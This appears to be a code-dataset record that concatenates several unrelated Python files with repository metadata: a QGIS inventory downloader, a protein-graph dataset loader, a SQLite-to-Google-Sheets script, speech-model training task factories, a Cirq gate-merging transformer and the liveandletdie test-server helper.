ET.ElementTree(ET.fromstring(response.content)) root = tree.getroot() self.dlg.progressBar_inventario.setValue(15) if os.path.isfile(os.path.join(self.dlg.file_widget.filePath(), f'inventario.csv')): print('Arquivo inventario já existe') self.dlg.progressBar_inventario.setValue(100) else: with open(os.path.join(self.dlg.file_widget.filePath(), f'inventario.csv'), 'w',newline='') as f: writer = csv.writer(f) writer.writerow(('Codigo', 'Latitude','Longitude','TipoEstacao')) self.dlg.progressBar_inventario.setValue(20) # print(len(root.findall('Codigo'))) total = len(list(root.iter('Table'))) j = 0 self.dlg.progressBar_inventario.setValue(25) for i in root.iter('Table'): print(i.find('Codigo').text, i.find('Latitude').text, i.find('Longitude').text, i.find('TipoEstacao').text) writer.writerow((i.find('Codigo').text, i.find('Latitude').text, i.find('Longitude').text, i.find('TipoEstacao').text)) j+=1 # self.dlg.progressBar_inventario.setValue(j/float(total)*100) self.dlg.progressBar_inventario.setValue(100) print('Arquivo inventario.csv criado') self.dlg.inventario_path.setFilePath(os.path.join(self.dlg.file_widget.filePath(), 'inventario.csv')) self.iface.messageBar().pushMessage('Success', 'Download do inventario.csv concluído!', level=Qgis.Success) def check_errors(self): error = False print(self.dlg.inventario_path.filePath()[-4:]) if (self.dlg.inventario_path.filePath() == None) or (self.dlg.inventario_path.filePath()=='') or (not self.dlg.inventario_path.filePath()[-4:]=='.csv'): print(self.dlg.inventario_path.filePath()) self.iface.messageBar().pushMessage("Error", "inventario.csv não encontrado", level=Qgis.Critical, duration=5) error = True if self.dlg.mapLayer_box.currentLayer() == None: self.iface.messageBar().pushMessage("Error", "Shapefile (Polígono) não encontrado", level=Qgis.Critical, duration=5) error = True if (not self.dlg.mapLayer_box.currentLayer().crs().authid()=='EPSG:4674') and (not self.dlg.mapLayer_box.currentLayer().crs().authid()=='EPSG:4326'): print() self.iface.messageBar().pushMessage("Error", "Shapefile (Polígono) com Sistema de Coordenadas incorreto. O correto é Sirgas2000 ou WGS84.", level=Qgis.Critical, duration=5) error = True if (self.dlg.data_folder.filePath() == None) or (self.dlg.data_folder.filePath() == ''): self.iface.messageBar().pushMessage("Error", "Nenhuma pasta selecionada para o download", level=Qgis.Critical, duration=5) error = True return error

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184

0.563683

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0.232472

0.02611

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0.016785

0.400178

0.330284

0.278952

0.249378

0.232948

0.205062

0

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0.312737

20,343

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185

44.223913

0.796939

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0.067376

0

null

0

null

0

1

0

a85f53c1b7be763529623bee7f828aec71c096d6

8,700

py

Python

bio/loader.py

selincetin/pretrain-gnns

8ac7768f77bd74351c5f489a64b4390fdadfc4f9

[ "MIT" ]

590

2020-02-09T21:43:11.000Z

2022-03-26T05:57:18.000Z

bio/loader.py

SuperXiang/pretrain-gnns

7bb81b5cc2d37241ee72cbfa40fbd89b0cc2394f

[ "MIT" ]

48

2020-02-22T21:33:45.000Z

2022-03-06T18:53:43.000Z

bio/loader.py

SuperXiang/pretrain-gnns

7bb81b5cc2d37241ee72cbfa40fbd89b0cc2394f

[ "MIT" ]

133

2020-02-02T07:21:09.000Z

2022-03-24T06:07:14.000Z

import os import torch import random import networkx as nx import pandas as pd import numpy as np from torch.utils import data from torch_geometric.data import Data from torch_geometric.data import InMemoryDataset from torch_geometric.data import Batch from itertools import repeat, product, chain from collections import Counter, deque from networkx.algorithms.traversal.breadth_first_search import generic_bfs_edges def nx_to_graph_data_obj(g, center_id, allowable_features_downstream=None, allowable_features_pretrain=None, node_id_to_go_labels=None): """ Converts nx graph of PPI to pytorch geometric Data object. :param g: nx graph object of ego graph :param center_id: node id of center node in the ego graph :param allowable_features_downstream: list of possible go function node features for the downstream task. The resulting go_target_downstream node feature vector will be in this order. :param allowable_features_pretrain: list of possible go function node features for the pretraining task. The resulting go_target_pretrain node feature vector will be in this order. :param node_id_to_go_labels: dict that maps node id to a list of its corresponding go labels :return: pytorch geometric Data object with the following attributes: edge_attr edge_index x species_id center_node_idx go_target_downstream (only if node_id_to_go_labels is not None) go_target_pretrain (only if node_id_to_go_labels is not None) """ n_nodes = g.number_of_nodes() n_edges = g.number_of_edges() # nodes nx_node_ids = [n_i for n_i in g.nodes()] # contains list of nx node ids # in a particular ordering. Will be used as a mapping to convert # between nx node ids and data obj node indices x = torch.tensor(np.ones(n_nodes).reshape(-1, 1), dtype=torch.float) # we don't have any node labels, so set to dummy 1. dim n_nodes x 1 center_node_idx = nx_node_ids.index(center_id) center_node_idx = torch.tensor([center_node_idx], dtype=torch.long) # edges edges_list = [] edge_features_list = [] for node_1, node_2, attr_dict in g.edges(data=True): edge_feature = [attr_dict['w1'], attr_dict['w2'], attr_dict['w3'], attr_dict['w4'], attr_dict['w5'], attr_dict['w6'], attr_dict['w7'], 0, 0] # last 2 indicate self-loop # and masking edge_feature = np.array(edge_feature, dtype=int) # convert nx node ids to data obj node index i = nx_node_ids.index(node_1) j = nx_node_ids.index(node_2) edges_list.append((i, j)) edge_features_list.append(edge_feature) edges_list.append((j, i)) edge_features_list.append(edge_feature) # data.edge_index: Graph connectivity in COO format with shape [2, num_edges] edge_index = torch.tensor(np.array(edges_list).T, dtype=torch.long) # data.edge_attr: Edge feature matrix with shape [num_edges, num_edge_features] edge_attr = torch.tensor(np.array(edge_features_list), dtype=torch.float) try: species_id = int(nx_node_ids[0].split('.')[0]) # nx node id is of the form: # species_id.protein_id species_id = torch.tensor([species_id], dtype=torch.long) except: # occurs when nx node id has no species id info. For the extract # substructure context pair transform, where we convert a data obj to # a nx graph obj (which does not have original node id info) species_id = torch.tensor([0], dtype=torch.long) # dummy species # id is 0 # construct data obj data = Data(x=x, edge_index=edge_index, edge_attr=edge_attr) data.species_id = species_id data.center_node_idx = center_node_idx if node_id_to_go_labels: # supervised case with go node labels # Construct a dim n_pretrain_go_classes tensor and a # n_downstream_go_classes tensor for the center node. 0 is no data # or negative, 1 is positive. downstream_go_node_feature = [0] * len(allowable_features_downstream) pretrain_go_node_feature = [0] * len(allowable_features_pretrain) if center_id in node_id_to_go_labels: go_labels = node_id_to_go_labels[center_id] # get indices of allowable_features_downstream that match with elements # in go_labels _, node_feature_indices, _ = np.intersect1d( allowable_features_downstream, go_labels, return_indices=True) for idx in node_feature_indices: downstream_go_node_feature[idx] = 1 # get indices of allowable_features_pretrain that match with # elements in go_labels _, node_feature_indices, _ = np.intersect1d( allowable_features_pretrain, go_labels, return_indices=True) for idx in node_feature_indices: pretrain_go_node_feature[idx] = 1 data.go_target_downstream = torch.tensor(np.array(downstream_go_node_feature), dtype=torch.long) data.go_target_pretrain = torch.tensor(np.array(pretrain_go_node_feature), dtype=torch.long) return data def graph_data_obj_to_nx(data): """ Converts pytorch geometric Data obj to network x data object. :param data: pytorch geometric Data object :return: nx graph object """ G = nx.Graph() # edges edge_index = data.edge_index.cpu().numpy() edge_attr = data.edge_attr.cpu().numpy() n_edges = edge_index.shape[1] for j in range(0, n_edges, 2): begin_idx = int(edge_index[0, j]) end_idx = int(edge_index[1, j]) w1, w2, w3, w4, w5, w6, w7, _, _ = edge_attr[j].astype(bool) if not G.has_edge(begin_idx, end_idx): G.add_edge(begin_idx, end_idx, w1=w1, w2=w2, w3=w3, w4=w4, w5=w5, w6=w6, w7=w7) # # add center node id information in final nx graph object # nx.set_node_attributes(G, {data.center_node_idx.item(): True}, 'is_centre') return G class BioDataset(InMemoryDataset): def __init__(self, root, data_type, empty=False, transform=None, pre_transform=None, pre_filter=None): """ Adapted from qm9.py. Disabled the download functionality :param root: the data directory that contains a raw and processed dir :param data_type: either supervised or unsupervised :param empty: if True, then will not load any data obj. For initializing empty dataset :param transform: :param pre_transform: :param pre_filter: """ self.root = root self.data_type = data_type super(BioDataset, self).__init__(root, transform, pre_transform, pre_filter) if not empty: self.data, self.slices = torch.load(self.processed_paths[0]) @property def raw_file_names(self): #raise NotImplementedError('Data is assumed to be processed') if self.data_type == 'supervised': # 8 labelled species file_name_list = ['3702', '6239', '511145', '7227', '9606', '10090', '4932', '7955'] else: # unsupervised: 8 labelled species, and 42 top unlabelled species by n_nodes. file_name_list = ['3702', '6239', '511145', '7227', '9606', '10090', '4932', '7955', '3694', '39947', '10116', '443255', '9913', '13616', '3847', '4577', '8364', '9823', '9615', '9544', '9796', '3055', '7159', '9031', '7739', '395019', '88036', '9685', '9258', '9598', '485913', '44689', '9593', '7897', '31033', '749414', '59729', '536227', '4081', '8090', '9601', '749927', '13735', '448385', '457427', '3711', '479433', '479432', '28377', '9646'] return file_name_list @property def processed_file_names(self): return 'geometric_data_processed.pt' def download(self): raise NotImplementedError('Must indicate valid location of raw data. ' 'No download allowed') def process(self): raise NotImplementedError('Data is assumed to be processed') if __name__ == "__main__": root_supervised = 'dataset/supervised' d_supervised = BioDataset(root_supervised, data_type='supervised') print(d_supervised) root_unsupervised = 'dataset/unsupervised' d_unsupervised = BioDataset(root_unsupervised, data_type='unsupervised') print(d_unsupervised)

41.037736

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1,194

8,700

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0

null

0

null

0

1

0

a86b28ee1225866b03b3cc3e943f5eb90224441d

2,857

py

Python

query_output_to_gs.py

kburchfiel/google_sheets_database_connections

b60c49bbead9ddd6322b0b65e2cbfd3685188f21

[ "MIT" ]

null

query_output_to_gs.py

kburchfiel/google_sheets_database_connections

b60c49bbead9ddd6322b0b65e2cbfd3685188f21

[ "MIT" ]

null

query_output_to_gs.py

kburchfiel/google_sheets_database_connections

b60c49bbead9ddd6322b0b65e2cbfd3685188f21

[ "MIT" ]

null

# Query Output to Google Slides # Kenneth Burchfiel # Program is released under the MIT License '''This program shows how to upload the results of database queries to a Google Sheets File. The program uses a sample SQLite database containing fictional test score data; however, you can also connect to an online database using SQLalchemy. See my Python Database Utilities repository (available at https://github.com/kburchfiel/python_database_utilities) for examples.''' '''More documentation will be provided in the future. I will probably also convert the .py file to an .ipynb file for easier readability.''' import sqlite3 import pandas as pd import getpass import gspread from gspread_dataframe import set_with_dataframe import time con = sqlite3.connect('test_scores.db') # I initialized 'test.db' simply be creating an empty file in my folder and giving it that name. df_scores = pd.read_excel('scores_by_program_enrollment.xlsx') # This idea for importing a spreadsheet into a DataBase came from Stack Overflow user Tennessee Leeuwenburg (see https://stackoverflow.com/a/28802613/13097194). print(df_scores) df_scores.to_sql('Scores', con = con, if_exists = 'replace') # See https://pandas.pydata.org/docs/reference/api/pandas.DataFrame.to_sql.html cur = con.cursor() gc = gspread.service_account(pd.read_csv('..\\key_paths\\key_paths.csv').iloc[0,1]) query_list = [] query_list.append("Select * from Scores limit 5") query_list.append("Select Student_ID, School, Grade from Scores limit 50") query_dict_list = [] for i in range(len(query_list)): query_dict_list.append({"query_id":"Query_"+str(i),"query_text":query_list[i]}) results_workbook = gc.open_by_key('1jPPz4YW5v5repoJXpXXJ3VrivK21lv1VYLvQIvTEyxE') df_query_index = pd.DataFrame(query_dict_list) print(df_query_index) query_index_sheet = results_workbook.get_worksheet(0) query_index_sheet.clear() query_index_sheet_title = 'query_index' query_index_sheet.update_title(query_index_sheet_title) set_with_dataframe(query_index_sheet, df_query_index, include_index = True) for i in range(len(query_list)): start_time = time.time() print("Now on Query",i) df_query = pd.read_sql(sql = query_list[i], con = con) # This was a method I had originally learned about when converting database concent accessed through pyodbc to Pandas DataFrames. It works with sqlite3 databases also. # print(df_query) # Helpful for debugging query_sheet = results_workbook.get_worksheet(i+1) # A +1 offset is used because sheet 0 contains the index list. query_sheet.clear() query_sheet_title = 'Query_'+str(i) query_sheet.update_title(query_sheet_title) set_with_dataframe(query_sheet, df_query, include_index = True) end_time = time.time() length = end_time - start_time print("Time operation took (in seconds):",'{:.3f}'.format(length))

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226

0.777039

439

2,857

4.851936

0.439636

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0.042254

0.019718

0.101878

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0.105263

0

null

0

null

0

1

0

a86f96505462e383f6c2341faddf2a1e85c4c268

9,562

py

Python

fwks/tasks.py

Zantyr/fwks

4dee4d406fcab4eb375afe6c9a08206fb58af061

[ "MIT" ]

null

fwks/tasks.py

Zantyr/fwks

4dee4d406fcab4eb375afe6c9a08206fb58af061

[ "MIT" ]

null

fwks/tasks.py

Zantyr/fwks

4dee4d406fcab4eb375afe6c9a08206fb58af061

[ "MIT" ]

null

""" fwks.tasks ========== Module responsible for scheduling the computations. Each type of task may be configured and then run in sequence. Useful for creation of batches of jobs. """ __all__ = ["Task", "make_training_task", "make_ab_feature_test", "make_feature_learnability"] import keras import numpy as np import os import fwks.model as model import fwks.dataset as dataset import fwks.metricization as metricization from fwks.miscellanea import StopOnConvergence """ TODO: - saving // loading - running the network - creation of chains for language models - test coverage """ class Task(type): """ Metaclass registering and running tasks. """ _instances = {} @classmethod def all(cls): return [cls._instances[x] for x in sorted(cls._instances.keys())] def __new__(self, name, bases, dct): new_dct = {"name": name, "implemented": True} new_dct.update(dct) item = super().__new__(self, name, bases, new_dct) self._instances[name] = item return item def make_training_task( noise=None, evaluation_metrics=None, evaluation_selection=None, ): """ Factory of basic model training tasks """ # TODO: add training using noisy instead of clean _evaluation_selection = evaluation_selection class AbstractModelTraining(Task): how_much = 9000 noise_gen = noise epochs = 250 from_path = "datasets/clarin-long/data" metrics = evaluation_metrics or [] evaluation_selection = _evaluation_selection def __new__(self, name, bases, dct): this = self _metrics = self.metrics _evaluation_selection = self.evaluation_selection @classmethod def get_dataset(self): dset = dataset.Dataset(noise_gen=this.noise_gen) dset.loader_adapter = "clarin" dset.get_from(self.from_path) return dset @classmethod def validate(self, cache): return os.path.exists(os.path.join(cache, "model.zip")) @classmethod def run(self, cache): try: if not os.path.exists(cache): os.mkdir(cache) except: pass dset = self.get_dataset() dset.select_first(self.how_much) am = self.get_acoustic_model() am.num_epochs = this.epochs am.name = name am.build(dset) am.summary() if self._metrics: metric_obj = metricization.TrainedModelMetricization(am, self._metrics) results = metric_obj.on_dataset(dset, partial=self._evaluation_selection) results.summary() am.save(os.path.join(cache, "model.zip"), save_full=True) print("=" * 60) print("Task done!\n") @classmethod def summary(self, cache, show=False): try: print(cache) am = model.AcousticModel.load(os.path.join(cache, "model.zip")) return am.summary(show=show) except FileNotFoundError: print("Cannot find the model archive - aborting") new_dct = {"run": run, "validate": validate, "summary": summary, "how_much": this.how_much, "get_dataset": get_dataset, "_metrics": _metrics, "_evaluation_selection": _evaluation_selection} new_dct.update(dct) return super().__new__(self, name, bases, new_dct) @classmethod def add_metric(self, metric): self.metrics.append(metric) metaclass = AbstractModelTraining return metaclass AbstractModelTraining = make_training_task() def make_ab_feature_test(noise_gen): """ Factory for tasks that compare feature transforms on clean and noisy recordings """ _noise_gen = noise_gen class AbstractABTraining(Task): how_much = 9000 noise_gen = _noise_gen from_path = "datasets/clarin-long/data" def __new__(self, name, bases, dct): this = self @classmethod def get_dataset(self): dset = dataset.Dataset(noise_gen=this.noise_gen) dset.loader_adapter = "clarin" dset.get_from(self.from_path) return dset @classmethod def validate(self, cache): pass @classmethod def run(self, cache): try: if not os.path.exists(cache): os.mkdir(cache) except: pass dset = self.get_dataset() dset.select_first(self.how_much) am = self.get_acoustic_model() mapping_generator = model.MappingGenerator(am.stages) mapping = mapping_generator.get(dset) dset.generate(mapping, ["clean", "noisy"]) print("Shape of the data: {}".format(dset.clean.shape)) metric_obj = metricization.MetricizationAB([ metricization.CosineMetric(), metricization.EuclidMetric(), metricization.ManhattanMetric() ]) diff = (dset.clean - dset.noisy) metric_obj.calculate( dset.clean, dset.clean_lens, dset.noisy, dset.noisy_lens ) metric_obj.summary() print("=" * 60) print("Task done!\n") @classmethod def summary(self, cache, show=False): pass new_dct = {"run": run, "validate": validate, "summary": summary, "how_much": this.how_much, "get_dataset": get_dataset} new_dct.update(dct) return super().__new__(self, name, bases, new_dct) return AbstractABTraining def make_feature_learnability(noise_gen=None): """ Create a task that uses secondary neural network to learn the feature transform used by the first """ _noise_gen = noise_gen class FeatureLearnabilityTask(Task): """ classmethods: get_mapping get_mapper_network(mapping_size) """ how_much = 9000 noise_gen = _noise_gen from_path = "datasets/clarin-long/data" def __new__(self, name, bases, dct): this = self @classmethod def get_dataset(self): dset = dataset.Dataset(noise_gen=this.noise_gen) dset.loader_adapter = "clarin" dset.get_from(self.from_path) return dset @classmethod def validate(self, cache): pass @classmethod def run(self, cache): try: if not os.path.exists(cache): os.mkdir(cache) except: pass dset = self.get_dataset() dset.select_first(self.how_much) am = self.get_mapping() mapping_generator = model.MappingGenerator(am.stages) mapping = mapping_generator.get(dset) dset.generate(mapping, ["clean"]) clean = dset.clean dset = self.get_dataset() dset.select_first(self.how_much) am = self.get_windowing() mapping_generator_2 = model.MappingGenerator(am.stages) mapping_2 = mapping_generator_2.get(dset) dset.generate(mapping_2, ["clean"]) sources = dset.clean # print(clean.shape) # print(sources.shape) mapper = self.get_mapper_network(sources.shape, clean.shape) mapper.compile(loss='mse', optimizer='adam') mapper.summary() valid = np.random.random(sources.shape[0]) > 0.8 mapper.fit(sources[~valid], clean[~valid], batch_size=32, callbacks=[ keras.callbacks.TerminateOnNaN(), StopOnConvergence(4) ], validation_data=[sources[valid], clean[valid]], epochs=250, ) print("=" * 60) print("Task done!\n") @classmethod def summary(self, cache, show=False): pass @classmethod def get_windowing(self): mdl = self.get_mapping() return mdl.__class__([mdl.stages[0]]) new_dct = {"run": run, "validate": validate, "summary": summary, "how_much": this.how_much, "get_dataset": get_dataset, "get_windowing": get_windowing} assert "get_mapping" in dct.keys() assert "get_mapper_network" in dct.keys() new_dct.update(dct) return super().__new__(self, name, bases, new_dct) return FeatureLearnabilityTask FeatureLearnabilityTask = make_feature_learnability()

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null

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null

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a8707d1875735a5327cfd6fbf7ae8923132b4dfc

4,390

py

Python

cirq-core/cirq/transformers/merge_k_qubit_gates.py

LLcat1217/Cirq

b88069f7b01457e592ad69d6b413642ef11a56b8

[ "Apache-2.0" ]

1

2022-02-05T22:17:39.000Z

cirq-core/cirq/transformers/merge_k_qubit_gates.py

LLcat1217/Cirq

b88069f7b01457e592ad69d6b413642ef11a56b8

[ "Apache-2.0" ]

4

2022-01-16T14:12:15.000Z

2022-02-24T03:58:46.000Z

cirq-core/cirq/transformers/merge_k_qubit_gates.py

LLcat1217/Cirq

b88069f7b01457e592ad69d6b413642ef11a56b8

[ "Apache-2.0" ]

null

# Copyright 2022 The Cirq Developers # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Transformer pass to merge connected components of k-qubit unitary operations.""" from typing import cast, Optional, Callable, TYPE_CHECKING from cirq import ops, protocols, circuits from cirq.transformers import transformer_api, transformer_primitives if TYPE_CHECKING: import cirq def _rewrite_merged_k_qubit_unitaries( circuit: 'cirq.AbstractCircuit', *, context: Optional['cirq.TransformerContext'] = None, k: int = 0, rewriter: Optional[Callable[['cirq.CircuitOperation'], 'cirq.OP_TREE']] = None, merged_circuit_op_tag: str = "_merged_k_qubit_unitaries_component", ) -> 'cirq.Circuit': deep = context.deep if context else False def map_func(op: 'cirq.Operation', _) -> 'cirq.OP_TREE': op_untagged = op.untagged if ( deep and isinstance(op_untagged, circuits.CircuitOperation) and merged_circuit_op_tag not in op.tags ): return op_untagged.replace( circuit=_rewrite_merged_k_qubit_unitaries( op_untagged.circuit, context=context, k=k, rewriter=rewriter, merged_circuit_op_tag=merged_circuit_op_tag, ).freeze() ).with_tags(*op.tags) if not (protocols.num_qubits(op) <= k and protocols.has_unitary(op)): return op if rewriter: return rewriter( cast(circuits.CircuitOperation, op_untagged) if merged_circuit_op_tag in op.tags else circuits.CircuitOperation(circuits.FrozenCircuit(op)) ) return ops.MatrixGate(protocols.unitary(op)).on(*op.qubits) return transformer_primitives.map_operations_and_unroll( circuit, map_func, tags_to_ignore=context.tags_to_ignore if context else () ).unfreeze(copy=False) @transformer_api.transformer def merge_k_qubit_unitaries( circuit: 'cirq.AbstractCircuit', *, context: Optional['cirq.TransformerContext'] = None, k: int = 0, rewriter: Optional[Callable[['cirq.CircuitOperation'], 'cirq.OP_TREE']] = None, ) -> 'cirq.Circuit': """Merges connected components of unitary operations, acting on <= k qubits. Uses rewriter to convert a connected component of unitary operations acting on <= k-qubits into a more desirable form. If not specified, connected components are replaced by a single `cirq.MatrixGate` containing unitary matrix of the merged component. Args: circuit: Input circuit to transform. It will not be modified. context: `cirq.TransformerContext` storing common configurable options for transformers. k: Connected components of unitary operations acting on <= k qubits are merged. rewriter: Callable type that takes a `cirq.CircuitOperation`, encapsulating a connected component of unitary operations acting on <= k qubits, and produces a `cirq.OP_TREE`. Specifies how to merge the connected component into a more desirable form. Returns: Copy of the transformed input circuit. Raises: ValueError: If k <= 0 """ if k <= 0: raise ValueError(f"k should be greater than or equal to 1. Found {k}.") merged_circuit_op_tag = "_merged_k_qubit_unitaries_component" circuit = transformer_primitives.merge_k_qubit_unitaries_to_circuit_op( circuit, k=k, tags_to_ignore=context.tags_to_ignore if context else (), merged_circuit_op_tag=merged_circuit_op_tag, deep=context.deep if context else False, ) return _rewrite_merged_k_qubit_unitaries( circuit, context=context, k=k, rewriter=rewriter, merged_circuit_op_tag=merged_circuit_op_tag, )

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0.304189

0.034044

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0.061898

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0

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4,390

111

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0

0.19403

0

null

0

null

0

1

0

a871fe49f3be965b2393582da37217fcede6d062

17,538

py

Python

liveandletdie/__init__.py

LeOndaz/liveandletdie

86e174eda1a3a1ab810d16d1e3a85d0aff13dc55

[ "MIT" ]

null

liveandletdie/__init__.py

LeOndaz/liveandletdie

86e174eda1a3a1ab810d16d1e3a85d0aff13dc55

[ "MIT" ]

null

liveandletdie/__init__.py

LeOndaz/liveandletdie

86e174eda1a3a1ab810d16d1e3a85d0aff13dc55

[ "MIT" ]

null

from __future__ import print_function import argparse from datetime import datetime import os import re import signal import ssl import subprocess import sys import tempfile import time from werkzeug.serving import make_ssl_devcert # pylint: disable=wrong-import-order try: from urllib.parse import urlsplit, splitport except ImportError: from urllib2 import splitport from urlparse import urlsplit import requests _VALID_HOST_PATTERN = r'\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}([:]\d+)?$' class LiveAndLetDieError(BaseException): pass def _log(logging, message): if logging: print('LIVEANDLETDIE: {0}'.format(message)) def _validate_host(host): if re.match(_VALID_HOST_PATTERN, host): return host else: raise argparse.ArgumentTypeError('{0} is not a valid host!' .format(host)) def split_host(host): """ Splits host into host and port. :param str host: Host including port. :returns: A ``(str(host), int(port))`` tuple. """ host, port = (host.split(':') + [None])[:2] return host, int(port) def check(server): """Checks whether a server is running.""" return server.check() def live(app): """ Starts a live app in a separate process and checks whether it is running. """ return app.live() def start(*args, **kwargs): """Alias for :funct:`live`""" live(*args, **kwargs) def die(app): """ Starts a live app in a separate process and checks whether it is running. """ return app.live() def stop(*args, **kwargs): """Alias for :funct:`die`""" die(*args, **kwargs) def port_in_use(port, kill=False, logging=False): """ Checks whether a port is free or not. :param int port: The port number to check for. :param bool kill: If ``True`` the process will be killed. :returns: The process id as :class:`int` if in use, otherwise ``False`` . """ command_template = 'lsof -iTCP:{0} -sTCP:LISTEN' process = subprocess.Popen(command_template.format(port).split(), stdout=subprocess.PIPE) headers = process.stdout.readline().decode().split() if 'PID' not in headers: _log(logging, 'Port {0} is free.'.format(port)) return False index_pid = headers.index('PID') index_cmd = headers.index('COMMAND') row = process.stdout.readline().decode().split() if len(row) < index_pid: _log(logging, 'Port {0} is free.'.format(port)) return False pid = int(row[index_pid]) command = row[index_cmd] if pid and command.startswith('python'): _log(logging, 'Port {0} is already being used by process {1}!' .format(port, pid)) if kill: _log(logging, 'Killing process with id {0} listening on port {1}!' .format(pid, port)) os.kill(pid, signal.SIGKILL) # Check whether it was really killed. try: # If still alive kill_process(pid, logging) # call me again _log(logging, 'Process {0} is still alive! checking again...' .format(pid)) return port_in_use(port, kill) except OSError: # If killed return False else: return pid def kill_process(pid, logging=False): try: _log(logging, 'Killing process {0}!'.format(pid)) os.kill(int(pid), signal.SIGKILL) return except OSError: # If killed return False def _get_total_seconds(td): """ Fixes the missing :meth:`datetime.timedelta.total_seconds()` method in Python 2.6 """ # pylint: disable=invalid-name return (td.microseconds + (td.seconds + td.days * 24 * 3600) * 10**6) \ / 10 ** 6 class Base(object): """ Base class for all frameworks. :param str path: Absolute path to app directory or module (depends on framework). :param str host: A host at which the live server should listen. :param float timeout: Timeout in seconds for the check. :param str check_url: URL where to check whether the server is running. Default is ``"http://{host}:{port}"``. :param bool logging: Whether liveandletdie logs should be printed out. :param bool suppress_output: Whether the stdout of the launched application should be suppressed. """ _argument_parser = argparse.ArgumentParser() def __init__(self, path, host='127.0.0.1', port=8001, timeout=10.0, check_url=None, executable='python', logging=False, suppress_output=True, **kwargs): self.path = path self.timeout = timeout self.host = host self.port = port self.process = None self.executable = executable self.logging = logging self.suppress_output = suppress_output self.check_url = 'http://{0}:{1}'.format(host, port) self.scheme = 'http' if check_url: self.check_url = self._normalize_check_url(check_url) def create_command(self): pass @property def default_url(self): return '{0}://{1}:{2}'.format(self.scheme, self.host, self.port) def _kill(self): if self.process: try: os.killpg(self.process.pid, signal.SIGKILL) except OSError: self.process.kill() self.process.wait() def _normalize_check_url(self, check_url): """ Normalizes check_url by: * Adding the `http` scheme if missing * Adding or replacing port with `self.port` """ # TODO: Write tests for this method split_url = urlsplit(check_url) host = splitport(split_url.path or split_url.netloc)[0] return '{0}://{1}:{2}'.format(self.scheme, host, self.port) def check(self, check_url=None): """ Checks whether a server is running. :param str check_url: URL where to check whether the server is running. Default is ``"http://{self.host}:{self.port}"``. """ if check_url is not None: self.check_url = self._normalize_check_url(check_url) response = None sleeped = 0.0 now = datetime.now() while not response: try: response = requests.get(self.check_url, verify=False) except requests.exceptions.ConnectionError: if sleeped > self.timeout: self._kill() raise LiveAndLetDieError( '{0} server {1} didn\'t start in specified timeout {2} ' 'seconds!\ncommand: {3}'.format( self.__class__.__name__, self.check_url, self.timeout, ' '.join(self.create_command()) ) ) time.sleep(1) sleeped = _get_total_seconds(datetime.now() - now) return _get_total_seconds(datetime.now() - now) def live(self, kill_port=False, check_url=None): """ Starts a live server in a separate process and checks whether it is running. :param bool kill_port: If ``True``, processes running on the same port as ``self.port`` will be killed. :param str check_url: URL where to check whether the server is running. Default is ``"http://{self.host}:{self.port}"``. """ pid = port_in_use(self.port, kill_port) if pid: raise LiveAndLetDieError( 'Port {0} is already being used by process {1}!' .format(self.port, pid) ) host = str(self.host) if re.match(_VALID_HOST_PATTERN, host): with open(os.devnull, "w") as devnull: if self.suppress_output: self.process = subprocess.Popen(self.create_command(), stderr=devnull, stdout=devnull, preexec_fn=os.setsid) else: self.process = subprocess.Popen(self.create_command(), preexec_fn=os.setsid) _log(self.logging, 'Starting process PID: {0}' .format(self.process.pid)) duration = self.check(check_url) _log(self.logging, 'Live server started in {0} seconds. PID: {1}' .format(duration, self.process.pid)) return self.process else: raise LiveAndLetDieError('{0} is not a valid host!'.format(host)) def start(self, *args, **kwargs): """Alias for :meth:`.live`""" self.live(*args, **kwargs) def die(self): """Stops the server if it is running.""" if self.process: _log(self.logging, 'Stopping {0} server with PID: {1} running at {2}.' .format(self.__class__.__name__, self.process.pid, self.check_url)) self._kill() def stop(self, *args, **kwargs): """Alias for :meth:`.die`""" self.die(*args, **kwargs) @classmethod def _add_args(cls): cls._argument_parser.add_argument('--liveandletdie', help='Run as test live server.', type=_validate_host, nargs='?', const='170.0.0.1:5000') @classmethod def parse_args(cls, logging=False): """ Parses command line arguments. Looks for --liveandletdie [host] :returns: A ``(str(host), int(port))`` or ``(None, None)`` tuple. """ cls._add_args() args = cls._argument_parser.parse_args() if args.liveandletdie: _log(logging, 'Running as test live server at {0}' .format(args.liveandletdie)) return split_host(args.liveandletdie) else: return None, None class WrapperBase(Base): """Base class for frameworks that require their app to be wrapped.""" def create_command(self): return [ self.executable, self.path, '--liveandletdie', '{0}:{1}'.format(self.host, self.port), ] class Flask(WrapperBase): def __init__(self, *args, **kwargs): """ :param bool ssl: If true, the app will be run with ``ssl_context="adhoc"`` and the schema of the ``self.check_url`` will be ``"https"``. """ self.ssl = kwargs.pop('ssl', None) super(Flask, self).__init__(*args, **kwargs) if self.ssl: self.scheme = 'https' @classmethod def _add_args(cls): super(Flask, cls)._add_args() cls._argument_parser.add_argument('--ssl', help='Run with "adhoc" ssl context.', type=bool, nargs='?', default=False) def create_command(self): command = super(Flask, self).create_command() if self.ssl is True: command += ['--ssl=1'] return command def check(self, check_url=None): url = self.check_url if check_url is None else \ self._normalize_check_url(check_url) if self.ssl: url = url.replace('http://', 'https://') super(Flask, self).check(url) @classmethod def wrap(cls, app): """ Adds test live server capability to a Flask app module. :param app: A :class:`flask.Flask` app instance. """ host, port = cls.parse_args() ssl_context = None if host: if cls._argument_parser.parse_args().ssl: try: import OpenSSL # pylint: disable=unused-variable except ImportError: # OSX fix sys.path.append( '/System/Library/Frameworks/Python.framework/Versions/' '{0}.{1}/Extras/lib/python/' .format(sys.version_info.major, sys.version_info.minor) ) try: import OpenSSL # pylint: disable=unused-variable except ImportError: # Linux fix sys.path.append( '/usr/lib/python{0}.{1}/dist-packages/' .format(sys.version_info.major, sys.version_info.minor) ) try: import OpenSSL # pylint: disable=unused-variable except ImportError: raise LiveAndLetDieError( 'Flask app could not be launched because the pyopenssl ' 'library is not installed on your system!' ) ssl_context = 'adhoc' app.run(host=host, port=port, ssl_context=ssl_context) sys.exit() class GAE(Base): def __init__(self, dev_appserver_path, *args, **kwargs): """ :param str dev_appserver: Path to dev_appserver.py """ super(GAE, self).__init__(*args, **kwargs) self.dev_appserver_path = dev_appserver_path self.admin_port = kwargs.get('admin_port', 5555) def create_command(self): command = [ self.dev_appserver_path, '--host={0}'.format(self.host), 